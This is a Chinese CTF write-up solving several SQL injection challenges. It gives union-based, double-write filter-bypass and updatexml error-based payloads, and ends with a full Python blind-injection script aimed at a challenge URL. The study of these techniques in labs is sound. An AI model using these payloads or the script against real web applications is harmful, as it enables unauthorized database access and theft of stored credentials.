EasySQL(万能密码)
懂的就懂,不懂的别学了
loveSQL(最最最最最基本的联合查询)
难度:简单
登陆后进行简单测试发现是字符型注入
order by 测试数据库有多少字段
发现有3列,而且也没有发现什么过滤的东西。那不就随便玩了么
查数据库
admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#
其实一般我用 union select 1,2,database()#
查数据表
12' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
查列名
12' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' %23
找flag
12' union select 1,2,group_concat(password) from l0ve1ysq1 %23
BabySQL(双写绕过)
难度:简单
这题在之前的基础有了过滤,有人问,你怎么知道过滤呢。首先我们按照之前的方法写这一题的时候,我们发现有些关键词消失了
or消失了,所以我们猜测存在过滤替换为’’(空),那我们就尝试bp的字典跑一下
我们发现有321和751和726状态的,我们试一下321的随便一个BY(sql无需注意大小写)
很明显我们的猜测是对的
绕过方法很简单,双写就好了
查数据库
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23
查数据表
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23
查列名
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D%27b4bsql%27%23
查flag
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23
图有点长,反正就出来了
HardSql(报错注入)
难度:中等
不出意外,这次的过滤一定比第三次更严格,而且回显也不一样了。
很嚣张啊
上字典!跑一跑
不出意外736应该是用不了的
最恶心的是他过滤了空格和and。。
那我们只能想到,要么是堆叠?不行,堆叠也需要空格,那。。报错?报错也有,但是好像可以修改
了解一下
查数据库信息
admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查数据表
admin’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
查字段
admin’or(updatexml(1,concat(0x7e,(select(group_concat(username,’~’,password))from(H4rDsq1)),0x7e),1))#
怎么才一半呢
由于updatexml只能最多显示32的长度,导致flag显示不全。然后用substr截取下来,发现substr被过滤了
看到网上有用left和right截取函数两次把完整的flag弄出来了
admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
admin’^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1)#
FinalSQL(盲注)
难度:难
上脚本吧 我写不出的
#然后是二分法,二分法要快很多: # -- coding: UTF-8 -- import re import requests import string #url = “http://5917b5ed-cf38-4d72-90c9-bf1cc3f37ea8.node3.buuoj.cn/search.php“ flag = ‘’ def payload(i,j): # sql = “1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1”%(i,j) #数据库名字 # sql = “1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=’geek’),%d,1))>%d)^1”%(i,j) #表名 # sql = “1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=’F1naI1y’)),%d,1))>%d)^1”%(i,j) #列名 sql = “1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1”%(i,j) data = {“id”:sql} r = requests.get(url,params=data) # print (r.url) if “Click” in r.text: res = 1 else: res = 0 return res def exp(): global flag for i in range(1,10000) : print(i,‘:’) low = 31 high = 127 while low <= high : mid = (low + high) // 2 res = payload(i,mid) if res : low = mid + 1 else : high = mid - 1 f = int((low + high + 1)) // 2 if (f == 127 or f == 31): break # print (f) flag += chr(f) print(flag) exp() print(‘flag=’,flag)